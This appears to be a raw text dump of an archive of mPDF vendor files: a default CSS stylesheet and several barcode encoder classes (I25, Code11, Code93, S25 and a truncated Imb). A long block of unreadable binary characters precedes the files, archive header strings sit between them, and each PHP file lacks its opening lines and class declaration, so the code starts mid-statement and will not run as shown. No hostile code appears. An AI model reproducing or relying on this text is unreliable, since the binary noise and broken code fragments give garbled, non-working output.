§ª´Â¡ÈÌU±ªÌL”ªÌ2Š±‡ªÂÌC°›²Â•™µªŠ±‡ÉÌiÈ™Ìf‡™É™Ìt‡¡Ì}™¡ÜÍ®¡ÌΔ̸‡Ì®ÀŠÂ§µ™²‡‡²™™ÌÁ”™Š´‡µÈÌä£ÌÝ¡£´‡ÉÌôȪ»šÉ§Í‡§ÜÈ͚͇ÈšÉÍ%Èəܲ›×XÒo‡Ð7‚Ï‘¥ÎG™Í©ŠÍr‡Íoµ‡”͈Š²¡Í…™¡”ªÍšŠ°šµª•²£´²¡ÍïšÍ왵ÍÖ²™ÍÍ£µ™µ¢²ÂÍãµ¢²Â®ÀŠš¢Íû¡Í£Î¢´¡£´Î"²Î°š²™²µÎ1´™Â—ÀÎ@µ™Â—ÀÉÀÎé­ÎΧÎÁ¥´Î²Îp°«»™²¢Î{™«Ά¢²«»™µÎœ´™Â—»Ϋµ­²”»¡ÂμÀšÂš§°ª°µ®ÎÙ­²°Î殲”°ÈÏxÂÏHÀ›Ï ™ÏŠ±Ïš²±™™¥µÂ­¡Ï<›±™Ï3™£²£ÏE¡£Â¡ÏUÉ¥Ïb¡£²¥¡ÏqŠ²¡šµÉσȇÊÏŒÉÊ„Ï®‚£Ï£‡£²Š´™„¡ÏèˆÏχÏŇ²™”Ï܈­™šÏ唚ªÐ¥Ï÷¡¥°Â„—²ÈЪ»Ð°™²»ÉÐ)șəÐ4‡™ˆÐx‡ÈÐOÀ‡È™Ð_ˆÉ²ÀÐo™«µ™À‚»²ŠÐLj¡Т”ЖÀµ™П”™Èй°ж¡•µ°ÉÐÄȇɊ¥ѬšÑ,ÑŠÐûŠ²Ðô°•²²•²Šµ­Ñ›²Â—­²¥´ª•”Ñ$”»¡¡Ñ€ŸÑdšµÑa²™ÑUÑRšÑ^™šµŸµÑ{²Ñxµ¡£Ñ›¡²Ñ”­™²¥µ£µÑ©²”µ®Ñö«ÑÔ§ÑÍ¥¹Šµ­»‡§½”­Ñ㫧½”­²Ñð±™²™ÂÒ?ÀÒ ®²¡À¡Ò1ŸÒ*š±Ò%š²±Ÿ±®Ò:¡®”ÈÒl”ÒWÂ¥š¥Òb”¡¥Â¡™È–ÕV”Ò¬—Ò”ÒŒ”™Òš—²°Ò£™°²™•ÓÄ”¡Ó?—ÓÒÉ”ÒæªÒß—²‡ª²™”²Òø”Ƚ§²™Ó§Ó™µ¡§²®¹™Ó&—²™šÓ4™±”šŸ°²ÀÓ—£Óƒ¡µÓk´™µÓb´µ±™µ™µÓz´µ±™¥Ó’£°²¥²ÂÓ¯À­Ó¨£­±Èӿ”¡²È‡•­Ô_™ÔÓî½Ó鲡²½§”Ó÷”ɧ‡œÔJšÔ™šµÔ6²Ô/­²Â”™µ¢²²Â»ÔCµ¢²»É‡¥ÔWœ¹É¥²”ÁÔÚ°Ô‘®ÔŒ­¹Ô|²ÈÔ…¹È½™®¹ÀÔš°ÀÔ²ˆÔ­™ˆŸÔÁ·­‡¡Ôן±™ÔÔ”™¡ÈÔÿÂÔíÁ¡ÈÂ¥Ôø¥ŠµÉÕ È‡É™Õ5–Õ.•ÉÕ'­šÉ²™–½‡§Õ>™ÁÕM§²—µÁɇ™Õø—Õh–‡—¥Õ§ŸÕƒ™Õ€”™¡Õ’ŸµÂ¡¡²Õ¤°™±”²­ÕݪÕØ¥°ªÕÄž²šÀÕѪ±šÀ¥ª°ÂÕê­²”ÉÕõªɚ֜™­ÖA™Ö ”Ö„²”²ššÖ0™”´™ŸÖ<š²Ÿ²ÂÖx®Ö[­²”µ¢²ÁÖf®²Á­ÉÖs™É™Éփ§ÊÖ—É¡Ö”¡Ê”š¥Öì”ÖÜŠÖÆÂÖ¿µ¡ÂŠŠ°£Öײ”£²£Ö唣²™®×&­×¥µ§µ­²×°À™À„²”×#Š²™”À×3®²™Â×OÀŠ×H£¹Š±”•²£Ý[ŸÙ œØy›£×Ί׋‡׈µÂ­‡•לŠµ•´š¡×Ë•µÀ×±Ÿ²Â×ÀÀŸ£²Â­¥­¡ÂØ\¥Ø0£Á×é²—²ÂØÁ„×þ±¡•Ø„£Šµ­»‡•ª•±‡Â•Ø-„£•ÀØ;¥µÀ„À£±”®±”ÀŠš²¢´¡ÈØjÂ¥ÉØvȇɞ؆œÉ‡ž”ظ‡ؘص‡­Ø®ž­‡­­—Øõ”ÀØÝ«¼ØÖ¥²¼²À«¼Ø­¼·­™Ù—´ª±”™¡ÙŸ¢ÚΡ¡ÙÊÙ~‡ÙM„ÙH²”´”ŠµÂ­„°ŠÙj‡ÁÙc›¸Á¥‡Š³Ùu²³š´—Ù–”Ù”²§µ™Ù¥—°™²™²Ù¶”²§µÂÙò•šÀÚC¥Ú£Ù塲¥µ£µÚ´•Ùø”•²™µµ¢²­Ú-¥´Ú²”²»Ú(´”»­²šÚ@”µ¢²šÂÚ¤ÁÚŸÀ£Úe•Ú`Š•µ¥Ú~£ÀŠ±”±”ªÚ‹¥±ªÂÚ˜£²Â£”Á¡ÉÚË£ڻ™›»¥«ÚÈ£™µ«É¢¢Ü4—ÛãŠÛY¥Úþ•Ú÷Š²™•²™µÛ ¥µÀÛµ¡À™Û4—Û+”­²¡—À­™šÛC™­²¡¡ÛPš®²¡­²¡”ÛΊ²Û°Ûr§°Àš²Š²µÛ¸²ŸÛ¢šÛ›²š±”§Û¯Ÿ±”§µ¢²µ¢ÛÉšµ­²¢²”²Ûàš²—²²™Ûù—²¡Ûö™¡šÜ!™²—Ü”²š¡Ü—²™¡š±Ü/›²±š­Ü£Üc¢²”ÜQµ¡£Ü\”²£´šªÜ…£µÜ€²¡Ü}¡µ¡ªµ¢ܘŸµ¢²¢²®ÜÁ­²šܱ”®ܺš®±”ÀÜÜÙ±™™²²™²Üé±™²™ÀŠÝÀÝ­²¡Àš±”­Ý5Š±šÝ!šš²ÀŠÀš±”­±ÝK¥ÝF™¥²ÀÝV±”ÀŠªßY¥Ýô£®Ý´„Ýx¡Ý„„²¡²Ý¡±™Ýž‡•´™²¡•µÀ­ÀŠµÀÝî°²ÂÝæÀŠÝÚ¥µ¡”Ý㊔”ÝñŠ”§ß¥¡Þb”Þ7‡Þ'„Þ"À®·­™„²ˆÞ0‡ˆ´šÞM•ÞF”•±™žÞ]š¡²ž²­Þ«§Þ‰£Þ|¡±™£¸®²¡²«Þ”§²«´Þ¦°ª»”´”ÂÞ×ÀÞ¼­µÀ¡ÞË”š²¥ÞÔ¡¥ÈÞì¡™Š»šÉÞÿȇ¥È½™É™§šß:—ß™ß"—²™™Àß/²À¥š²™«ßGšªµÀßT«²™À¥­àŒ«à*ª¡ßÈ•ß²”߇Àª»É²”µߤ²ß¡ª°À—™²»ß­µ»¡›ß¿•²›²Â—ÂàÀßÞ¡ÜɲÀŸßíž™µ£ßüŸÀ£”£±Éà$„à”à„”¡É‡«¡àP”à;™àM”®É²™¼àn¥àb¡°¥²ª²”Èà€¼²ª²”Ȯɭ‡®ã‹­¡á®•à÷ŠàÀ„൲”„¸”•àÑŠµÁ™”àÚ”™à슰™µ™µÀ­™šá^—á$•²á£µá´”µ”²§²™á@—°™á;²™™µ™²áP­½‡²¡á[™¡›á†š´á²™á~”µ¢²™´™Ÿá‘›²Ÿ°áž£²µá«°™µµÀâB§â¥áС²áͱ™²¥´áá³›´µáû´¡›µáö²µµÉ§ªâ§²”®â;ª°â)•£²¥µ»â6°•°»”®²”ÈãQÁâúÀŸâ¼™â{”âgŠ¡”±âv”Š²±”šâµ™Šâµ™ªâ¬ŠµÂ¡â©ŸÂ£¡ªµÂ¡š±”£âÔ¡âÍŸ™¡„²¥â꣱šâ癚®âõ¥®™ÂãÁ•™Âšã"™ã•ÁŠ™™®ã-š”®¥µã:²½ãLµš²¡²½šÉãjÈ­ãc™­È²ÊãzÉ¥»¡ÊŠµÀ¢±™®¡ä–”ä Šãé‡ã­¥²‡®ãʇãò™‡²™Áã×®½™ÝãäÁ®¡ÝÍ䊲䱙™²²¢ä ¡²¢²À™£²™äW—äG”µä@²§µ¢²µ¢²—µäT²¡µšäf™¥±‡Ÿäš±äz™µ²ä…±š²¢²Ÿ°£²®äç¥äף価²ä¸±™²¡£´ä˲¡µäÔ´µªä⥵ª²Áå@Àäú®²¡À”å Š­²£å”±”£®å"¡±å;®±´”²”±šÂåVÁ•¥åS™¥ÈåwÂ¥år£™²¢´¡¥™ÈÜëÄç Õæ:Šæ#„å¼É奱Ɋ嵄½‡Š´”ˆåÅ„ˆšåñ„åÛ²‡Šåꄧ²¡Š·È®åþš¸™Àæ ®É²À¢æ”±”¢±™æ.ŠÉ”æ7”œæ‚™æR•É”´™šæo™™Íæh²¡ÍɲšÉæ®±šÉ«æ§ªæ‘œªÉæ¤È±™ÉÝæü«¡æéÈ«æÈɲÂæ䫼æÝ¥§‡¼§‡Â•Éæô¡ÈÉħÝÉçÈÉě覔è‡çÇ‚ç}ªç=§ç:›·™§ÈçJª­™ÉçzÈœçb‡É²§Àçoœ¹ÉÀ±ÈɄ篂È皧Éç—ÈÉÉç£ÈÉ«§±”„Èç½Â¥Èž‡ŠçÒ‡É芣è›çìš·›±çÿ£±”ªÌ±£”ÌÂ裱”—è`•è/”É–èZ•ÈèG«§±™ÉèWÈ•­‡É–È™èn—À›šè‘™Âè„¥­™Â•£Àˆ™šÉ裣­±™É§ê Ÿé9è×›ªèΣ•£½™ª°™µžèöȪèï±™ª¹‡žÀéªéž´š±”ª²™Èé&À£²°Éé6Èž»™É¡éIŸŸÉ²¥éø¡Âéz¥éu•µék£µµˆ´”¥ÌÉ食™É¡éÈ—é´„é«‚§²‡„É­™žéÁ—¹Èž·”ÁéäÀéÙ¡·À—»É²ÄéñÁªÉĜȥÈê°È­ëªê‚§ÉêGê-‚¶É™²ê>°­™²­™ÜêyÉÀêa§²‡ÃˆÃêtÀ„·È­‡ÃˆÜ¸È¡«ê¾ªÈ꩛ꢰª²”›²Éê²ÈÉ•´È‡«¼êñ§êë¥ÄêÝŠ·¡ÈêèěȧÉÉë¼Ä늷¡ÈëÄ›ÈɧÜ뎮ëZ­ÁëFÀëA²²™À™ÂëSÁ¥™Â™™®Èë}Âën•µÂ”£Àˆ±™Éë‹È™²ÉÝë—ÜÝÉÝížÜ·ìž³ìF±ëë­ëÔ§ëÈ”ëÑ”­‡ëß™ë臙²ì±‡ëüÉ쇪·ž´¡É™²¡ì+šì(™š§ì4¡Áì=§ÁÜÉ™µìe´ìU³´Èì`”È™¶ìŒµÈì~šœ»¡Éì‰È‡É¶Éì™È‡É‡½í¹ìÒ¸ì·Éì½È‡É‡¸Èì͙ȡ»ìù¹™ì愳žìò™²ž¸»¡í”¡ÉíkÈí(½§í%‡ÄȧȲí[­íD§íA‡­íO‡™íX™½íf²½§Íí‘ɲí~­²—튗µÈÍÈÄ¡ÉÿïÑݶîܲî1­íÞ§”íÛÀ«¼íÔ¥±¼±”±î ­íø‡íõ‡™îšî ™š±Èî!™î”™Éî,șə´î´²î‹‡îy”îe„î\­„ɽ§•îr”²¡•¹¡Šî‚‡Š»È§¡î¤™î¡À«”™Áî­¡Á¡ÈµîÊ´ÈîŔșµÉîÙșɹï)·îí¶¸ï·Éïșɸ™ï&”Ý練¥´¡Ý±”™Éﳻ﹡ïb›ï[™ÃïT§½™ÃŠÉ›È²Àïk¡ÈïzÀ„±¡È”°™°”»ÈÉï®È™É™ÍïËɽïƲ½‡ÍÉÿvendor/mpdf/mpdf/data/mpdf.css000064400000004072147600022140012265 0ustar00/* LISTS */ /* A default margin-top/bottom for lists is NOT set in config.php - (standard browsers give outermost list a top and bottom margin). [mPDF default CSS set in configuration only works on basic elements, cannot do selectors such as "ol ol"] Need to add the following to do this, but also prevent margins in nested lists as per default HTML in most browsers: */ ul, ol { margin-top: 0.83em; margin-bottom: 0.83em; } ul ul, ul ol, ol ul, ol ol { margin-top: 0; margin-bottom: 0; } /* INDEXES */ div.mpdf_index_main { font-family: sans-serif; line-height: normal; } div.mpdf_index_entry { line-height: normal; text-indent: -1.5em; } div.mpdf_index_letter { font-family: sans-serif; font-size: 1.8em; font-weight: bold; line-height: normal; text-transform: uppercase; page-break-after: avoid; margin-top: 0.3em; margin-collapse: collapse; } a.mpdf_index_link { color: #000000; text-decoration: none; } /* TABLE OF CONTENTS */ div.mpdf_toc { font-family: sans-serif; line-height: normal; } a.mpdf_toc_a { text-decoration: none; color: black; } div.mpdf_toc_level_0 { /* Whole line level 0 */ line-height: 1.5; margin-left: 0; padding-right: 0em; /* should match the outdent specified for ToC; 0 is default; suggested value 2em */ } span.mpdf_toc_t_level_0 { /* Title level 0 - may be inside */ font-weight: bold; } span.mpdf_toc_p_level_0 { /* Page no. level 0 - may be inside */ } div.mpdf_toc_level_1 { /* Whole line level 1 */ margin-left: 2em; text-indent: -2em; padding-right: 0em; /* should match the outdent specified for ToC; 0 is default; suggested value 2em */ } span.mpdf_toc_t_level_1 { /* Title level 1 */ font-style: italic; font-weight: bold; } span.mpdf_toc_p_level_1 { /* Page no. level 1 - may be inside */ } div.mpdf_toc_level_2 { /* Whole line level 2 */ margin-left: 4em; text-indent: -2em; padding-right: 0em; /* should match the outdent specified for ToC; 0 is default; suggested value 2em */ } span.mpdf_toc_t_level_2 { /* Title level 2 */ } span.mpdf_toc_p_level_2 { /* Page no. level 2 - may be inside */ } vendor/mpdf/mpdf/src/Barcode/I25.php000064400000006130147600022140013107 0ustar00init($code, $printRatio, $checksum); $this->data['nom-X'] = 0.381; // Nominal value for X-dim (bar width) in mm (2 X min. spec.) $this->data['nom-H'] = 10; // Nominal value for Height of Full bar in mm (non-spec.) $this->data['lightmL'] = 10; // LEFT light margin = x X-dim (spec.) $this->data['lightmR'] = 10; // RIGHT light margin = x X-dim (spec.) $this->data['lightTB'] = $topBottomMargin; // TOP/BOTTOM light margin = x X-dim (non-spec.) } /** * @param string $code * @param float $printRatio * @param bool $checksum */ private function init($code, $printRatio, $checksum) { $chr = [ '0' => '11221', '1' => '21112', '2' => '12112', '3' => '22111', '4' => '11212', '5' => '21211', '6' => '12211', '7' => '11122', '8' => '21121', '9' => '12121', 'A' => '11', 'Z' => '21', ]; $checkdigit = ''; if ($checksum) { // add checksum $checkdigit = $this->checksum($code); $code .= $checkdigit; } if ((strlen($code) % 2) != 0) { // add leading zero if code-length is odd $code = '0' . $code; } // add start and stop codes $code = 'AA' . strtolower($code) . 'ZA'; $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $k = 0; $clen = strlen($code); for ($i = 0; $i < $clen; $i = ($i + 2)) { $charBar = $code[$i]; $charSpace = $code[$i + 1]; if ((!isset($chr[$charBar])) or (!isset($chr[$charSpace]))) { // invalid character throw new \Mpdf\Barcode\BarcodeException('Invalid I25 barcode value'); } // create a bar-space sequence $seq = ''; $chrlen = strlen($chr[$charBar]); for ($s = 0; $s < $chrlen; $s++) { $seq .= $chr[$charBar][$s] . $chr[$charSpace][$s]; } $seqlen = strlen($seq); for ($j = 0; $j < $seqlen; ++$j) { if (($j % 2) == 0) { $t = true; // bar } else { $t = false; // space } $x = $seq[$j]; if ($x == 2) { $w = $printRatio; } else { $w = 1; } $bararray['bcode'][$k] = ['t' => $t, 'w' => $w, 'h' => 1, 'p' => 0]; $bararray['maxw'] += $w; ++$k; } } $bararray['checkdigit'] = $checkdigit; $this->data = $bararray; } /** * Checksum for standard 2 of 5 barcodes. * * @param string $code * @return int */ private function checksum($code) { $len = strlen($code); $sum = 0; for ($i = 0; $i < $len; $i += 2) { $sum += $code[$i]; } $sum *= 3; for ($i = 1; $i < $len; $i += 2) { $sum += ($code[$i]); } $r = $sum % 10; if ($r > 0) { $r = (10 - $r); } return $r; } /** * @inheritdoc */ public function getType() { return 'I25'; } } vendor/mpdf/mpdf/src/Barcode/Code11.php000064400000005321147600022140013565 0ustar00init($code, $printRatio); $this->data['nom-X'] = 0.381; // Nominal value for X-dim (bar width) in mm (2 X min. spec.) $this->data['nom-H'] = 10; // Nominal value for Height of Full bar in mm (non-spec.) $this->data['lightmL'] = 10; // LEFT light margin = x X-dim (spec.) $this->data['lightmR'] = 10; // RIGHT light margin = x X-dim (spec.) $this->data['lightTB'] = 0; // TOP/BOTTOM light margin = x X-dim (non-spec.) } /** * @param string $code * @param float $printRatio */ private function init($code, $printRatio) { $chr = [ '0' => '111121', '1' => '211121', '2' => '121121', '3' => '221111', '4' => '112121', '5' => '212111', '6' => '122111', '7' => '111221', '8' => '211211', '9' => '211111', '-' => '112111', 'S' => '112211' ]; $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $k = 0; $len = strlen($code); // calculate check digit C $p = 1; $check = 0; for ($i = ($len - 1); $i >= 0; --$i) { $digit = $code[$i]; if ($digit == '-') { $dval = 10; } else { $dval = (int) $digit; } $check += ($dval * $p); ++$p; if ($p > 10) { $p = 1; } } $check %= 11; if ($check == 10) { $check = '-'; } $code .= $check; $checkdigit = $check; if ($len > 10) { // calculate check digit K $p = 1; $check = 0; for ($i = $len; $i >= 0; --$i) { $digit = $code[$i]; if ($digit == '-') { $dval = 10; } else { $dval = (int) $digit; } $check += ($dval * $p); ++$p; if ($p > 9) { $p = 1; } } $check %= 11; $code .= $check; $checkdigit .= $check; ++$len; } $code = 'S' . $code . 'S'; $len += 3; for ($i = 0; $i < $len; ++$i) { if (!isset($chr[$code[$i]])) { throw new \Mpdf\Barcode\BarcodeException(sprintf('Invalid character "%s" in CODE11 barcode value', $code[$i])); } $seq = $chr[$code[$i]]; for ($j = 0; $j < 6; ++$j) { if (($j % 2) == 0) { $t = true; // bar } else { $t = false; // space } $x = $seq[$j]; if ($x == 2) { $w = $printRatio; } else { $w = 1; } $bararray['bcode'][$k] = ['t' => $t, 'w' => $w, 'h' => 1, 'p' => 0]; $bararray['maxw'] += $w; ++$k; } } $bararray['checkdigit'] = $checkdigit; $this->data = $bararray; } /** * @inheritdoc */ public function getType() { return 'CODE11'; } } vendor/mpdf/mpdf/src/Barcode/Code93.php000064400000016550147600022140013605 0ustar00init($code); $this->data['nom-X'] = 0.381; // Nominal value for X-dim (bar width) in mm (2 X min. spec.) $this->data['nom-H'] = 10; // Nominal value for Height of Full bar in mm (non-spec.) $this->data['lightmL'] = 10; // LEFT light margin = x X-dim (spec.) $this->data['lightmR'] = 10; // RIGHT light margin = x X-dim (spec.) $this->data['lightTB'] = 0; // TOP/BOTTOM light margin = x X-dim (non-spec.) } /** * @param string $code */ private function init($code) { $chr = [ 48 => '131112', // 0 49 => '111213', // 1 50 => '111312', // 2 51 => '111411', // 3 52 => '121113', // 4 53 => '121212', // 5 54 => '121311', // 6 55 => '111114', // 7 56 => '131211', // 8 57 => '141111', // 9 65 => '211113', // A 66 => '211212', // B 67 => '211311', // C 68 => '221112', // D 69 => '221211', // E 70 => '231111', // F 71 => '112113', // G 72 => '112212', // H 73 => '112311', // I 74 => '122112', // J 75 => '132111', // K 76 => '111123', // L 77 => '111222', // M 78 => '111321', // N 79 => '121122', // O 80 => '131121', // P 81 => '212112', // Q 82 => '212211', // R 83 => '211122', // S 84 => '211221', // T 85 => '221121', // U 86 => '222111', // V 87 => '112122', // W 88 => '112221', // X 89 => '122121', // Y 90 => '123111', // Z 45 => '121131', // - 46 => '311112', // . 32 => '311211', // 36 => '321111', // $ 47 => '112131', // / 43 => '113121', // + 37 => '211131', // % 128 => '121221', // ($) 129 => '311121', // (/) 130 => '122211', // (+) 131 => '312111', // (%) 42 => '111141', // start-stop ]; $code = strtoupper($code); $encode = [ chr(0) => chr(131) . 'U', chr(1) => chr(128) . 'A', chr(2) => chr(128) . 'B', chr(3) => chr(128) . 'C', chr(4) => chr(128) . 'D', chr(5) => chr(128) . 'E', chr(6) => chr(128) . 'F', chr(7) => chr(128) . 'G', chr(8) => chr(128) . 'H', chr(9) => chr(128) . 'I', chr(10) => chr(128) . 'J', chr(11) => '£K', chr(12) => chr(128) . 'L', chr(13) => chr(128) . 'M', chr(14) => chr(128) . 'N', chr(15) => chr(128) . 'O', chr(16) => chr(128) . 'P', chr(17) => chr(128) . 'Q', chr(18) => chr(128) . 'R', chr(19) => chr(128) . 'S', chr(20) => chr(128) . 'T', chr(21) => chr(128) . 'U', chr(22) => chr(128) . 'V', chr(23) => chr(128) . 'W', chr(24) => chr(128) . 'X', chr(25) => chr(128) . 'Y', chr(26) => chr(128) . 'Z', chr(27) => chr(131) . 'A', chr(28) => chr(131) . 'B', chr(29) => chr(131) . 'C', chr(30) => chr(131) . 'D', chr(31) => chr(131) . 'E', chr(32) => ' ', chr(33) => chr(129) . 'A', chr(34) => chr(129) . 'B', chr(35) => chr(129) . 'C', chr(36) => chr(129) . 'D', chr(37) => chr(129) . 'E', chr(38) => chr(129) . 'F', chr(39) => chr(129) . 'G', chr(40) => chr(129) . 'H', chr(41) => chr(129) . 'I', chr(42) => chr(129) . 'J', chr(43) => chr(129) . 'K', chr(44) => chr(129) . 'L', chr(45) => '-', chr(46) => '.', chr(47) => chr(129) . 'O', chr(48) => '0', chr(49) => '1', chr(50) => '2', chr(51) => '3', chr(52) => '4', chr(53) => '5', chr(54) => '6', chr(55) => '7', chr(56) => '8', chr(57) => '9', chr(58) => chr(129) . 'Z', chr(59) => chr(131) . 'F', chr(60) => chr(131) . 'G', chr(61) => chr(131) . 'H', chr(62) => chr(131) . 'I', chr(63) => chr(131) . 'J', chr(64) => chr(131) . 'V', chr(65) => 'A', chr(66) => 'B', chr(67) => 'C', chr(68) => 'D', chr(69) => 'E', chr(70) => 'F', chr(71) => 'G', chr(72) => 'H', chr(73) => 'I', chr(74) => 'J', chr(75) => 'K', chr(76) => 'L', chr(77) => 'M', chr(78) => 'N', chr(79) => 'O', chr(80) => 'P', chr(81) => 'Q', chr(82) => 'R', chr(83) => 'S', chr(84) => 'T', chr(85) => 'U', chr(86) => 'V', chr(87) => 'W', chr(88) => 'X', chr(89) => 'Y', chr(90) => 'Z', chr(91) => chr(131) . 'K', chr(92) => chr(131) . 'L', chr(93) => chr(131) . 'M', chr(94) => chr(131) . 'N', chr(95) => chr(131) . 'O', chr(96) => chr(131) . 'W', chr(97) => chr(130) . 'A', chr(98) => chr(130) . 'B', chr(99) => chr(130) . 'C', chr(100) => chr(130) . 'D', chr(101) => chr(130) . 'E', chr(102) => chr(130) . 'F', chr(103) => chr(130) . 'G', chr(104) => chr(130) . 'H', chr(105) => chr(130) . 'I', chr(106) => chr(130) . 'J', chr(107) => chr(130) . 'K', chr(108) => chr(130) . 'L', chr(109) => chr(130) . 'M', chr(110) => chr(130) . 'N', chr(111) => chr(130) . 'O', chr(112) => chr(130) . 'P', chr(113) => chr(130) . 'Q', chr(114) => chr(130) . 'R', chr(115) => chr(130) . 'S', chr(116) => chr(130) . 'T', chr(117) => chr(130) . 'U', chr(118) => chr(130) . 'V', chr(119) => chr(130) . 'W', chr(120) => chr(130) . 'X', chr(121) => chr(130) . 'Y', chr(122) => chr(130) . 'Z', chr(123) => chr(131) . 'P', chr(124) => chr(131) . 'Q', chr(125) => chr(131) . 'R', chr(126) => chr(131) . 'S', chr(127) => chr(131) . 'T' ]; $code_ext = ''; $clen = strlen($code); for ($i = 0; $i < $clen; ++$i) { if (ord($code[$i]) > 127) { throw new \Mpdf\Barcode\BarcodeException(sprintf('Invalid character "%s" in Code93 barcode value', $code[$i])); } $code_ext .= $encode[$code[$i]]; } // checksum $code_ext .= $this->checksum($code_ext); // add start and stop codes $code = '*' . $code_ext . '*'; $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $k = 0; $clen = strlen($code); for ($i = 0; $i < $clen; ++$i) { $char = ord($code[$i]); if (!isset($chr[$char])) { // invalid character throw new \Mpdf\Barcode\BarcodeException('Invalid CODE93 barcode value'); } for ($j = 0; $j < 6; ++$j) { if (($j % 2) == 0) { $t = true; // bar } else { $t = false; // space } $w = $chr[$char][$j]; $bararray['bcode'][$k] = ['t' => $t, 'w' => $w, 'h' => 1, 'p' => 0]; $bararray['maxw'] += $w; ++$k; } } $bararray['bcode'][$k] = ['t' => true, 'w' => 1, 'h' => 1, 'p' => 0]; $bararray['maxw'] += 1; $this->data = $bararray; } /** * Calculate CODE 93 checksum (modulo 47). * * @param string $code * @return string */ protected function checksum($code) { $chars = [ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '-', '.', ' ', '$', '/', '+', '%', '<', '=', '>', '?' ]; // translate special characters $code = strtr($code, chr(128) . chr(131) . chr(129) . chr(130), '<=>?'); $len = strlen($code); // calculate check digit C $p = 1; $check = 0; for ($i = ($len - 1); $i >= 0; --$i) { $k = array_keys($chars, $code[$i]); $check += ($k[0] * $p); ++$p; if ($p > 20) { $p = 1; } } $check %= 47; $c = $chars[$check]; $code .= $c; // calculate check digit K $p = 1; $check = 0; for ($i = $len; $i >= 0; --$i) { $k = array_keys($chars, $code[$i]); $check += ($k[0] * $p); ++$p; if ($p > 15) { $p = 1; } } $check %= 47; $k = $chars[$check]; $checksum = $c . $k; // resto respecial characters $checksum = strtr($checksum, '<=>?', chr(128) . chr(131) . chr(129) . chr(130)); return $checksum; } /** * @inheritdoc */ public function getType() { return 'CODE93'; } } vendor/mpdf/mpdf/src/Barcode/S25.php000064400000004630147600022140013124 0ustar00init($code, $checksum); $this->data['nom-X'] = 0.381; // Nominal value for X-dim (bar width) in mm (2 X min. spec.) $this->data['nom-H'] = 10; // Nominal value for Height of Full bar in mm (non-spec.) $this->data['lightmL'] = 10; // LEFT light margin = x X-dim (spec.) $this->data['lightmR'] = 10; // RIGHT light margin = x X-dim (spec.) $this->data['lightTB'] = 0; // TOP/BOTTOM light margin = x X-dim (non-spec.) } /** * @param string $code * @param bool $checksum */ private function init($code, $checksum) { $chr = [ '0' => '10101110111010', '1' => '11101010101110', '2' => '10111010101110', '3' => '11101110101010', '4' => '10101110101110', '5' => '11101011101010', '6' => '10111011101010', '7' => '10101011101110', '8' => '10101110111010', '9' => '10111010111010', ]; $checkdigit = ''; if ($checksum) { // add checksum $checkdigit = $this->checksum($code); $code .= $checkdigit; } if ((strlen($code) % 2) != 0) { // add leading zero if code-length is odd $code = '0' . $code; } $seq = '11011010'; $clen = strlen($code); for ($i = 0; $i < $clen; ++$i) { $digit = $code[$i]; if (!isset($chr[$digit])) { // invalid character throw new \Mpdf\Barcode\BarcodeException(sprintf('Invalid character "%s" in S25 barcode value', $digit)); } $seq .= $chr[$digit]; } $seq .= '1101011'; $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $bararray['checkdigit'] = $checkdigit; $this->data = $this->binseqToArray($seq, $bararray); } /** * Checksum for standard 2 of 5 barcodes. * * @param string $code * * @return int */ private function checksum($code) { $len = strlen($code); $sum = 0; for ($i = 0; $i < $len; $i += 2) { $sum += $code[$i]; } $sum *= 3; for ($i = 1; $i < $len; $i += 2) { $sum += ($code[$i]); } $r = $sum % 10; if ($r > 0) { $r = (10 - $r); } return $r; } /** * @inheritdoc */ public function getType() { return 'S25'; } } vendor/mpdf/mpdf/src/Barcode/Imb.php000064400000024437147600022140013271 0ustar00init($code, $gapWidth, $daft); $this->data['nom-X'] = $xDim; $this->data['nom-H'] = 3.68; // Nominal value for Height of Full bar in mm (spec.) // USPS-B-3200 Revision C = 4.623 // USPS-B-3200 Revision E = 3.68 $this->data['quietL'] = 3.175; // LEFT Quiet margin = mm (spec.) $this->data['quietR'] = 3.175; // RIGHT Quiet margin = mm (spec.) $this->data['quietTB'] = 0.711; // TOP/BOTTOM Quiet margin = mm (spec.) } /** * @param string $code * @param float $gapWidth * @param int[] $daft */ private function init($code, $gapWidth, $daft) { $asc_chr = [ 4, 0, 2, 6, 3, 5, 1, 9, 8, 7, 1, 2, 0, 6, 4, 8, 2, 9, 5, 3, 0, 1, 3, 7, 4, 6, 8, 9, 2, 0, 5, 1, 9, 4, 3, 8, 6, 7, 1, 2, 4, 3, 9, 5, 7, 8, 3, 0, 2, 1, 4, 0, 9, 1, 7, 0, 2, 4, 6, 3, 7, 1, 9, 5, 8 ]; $dsc_chr = [ 7, 1, 9, 5, 8, 0, 2, 4, 6, 3, 5, 8, 9, 7, 3, 0, 6, 1, 7, 4, 6, 8, 9, 2, 5, 1, 7, 5, 4, 3, 8, 7, 6, 0, 2, 5, 4, 9, 3, 0, 1, 6, 8, 2, 0, 4, 5, 9, 6, 7, 5, 2, 6, 3, 8, 5, 1, 9, 8, 7, 4, 0, 2, 6, 3 ]; $asc_pos = [ 3, 0, 8, 11, 1, 12, 8, 11, 10, 6, 4, 12, 2, 7, 9, 6, 7, 9, 2, 8, 4, 0, 12, 7, 10, 9, 0, 7, 10, 5, 7, 9, 6, 8, 2, 12, 1, 4, 2, 0, 1, 5, 4, 6, 12, 1, 0, 9, 4, 7, 5, 10, 2, 6, 9, 11, 2, 12, 6, 7, 5, 11, 0, 3, 2 ]; $dsc_pos = [ 2, 10, 12, 5, 9, 1, 5, 4, 3, 9, 11, 5, 10, 1, 6, 3, 4, 1, 10, 0, 2, 11, 8, 6, 1, 12, 3, 8, 6, 4, 4, 11, 0, 6, 1, 9, 11, 5, 3, 7, 3, 10, 7, 11, 8, 2, 10, 3, 5, 8, 0, 3, 12, 11, 8, 4, 5, 1, 3, 0, 7, 12, 9, 8, 10 ]; $codeArray = explode('-', $code); $trackingNumber = $codeArray[0]; $routingCode = ''; if (isset($codeArray[1])) { $routingCode = $codeArray[1]; } // Conversion of Routing Code switch (strlen($routingCode)) { case 0: $binaryCode = 0; break; case 5: $binaryCode = bcadd($routingCode, '1'); break; case 9: 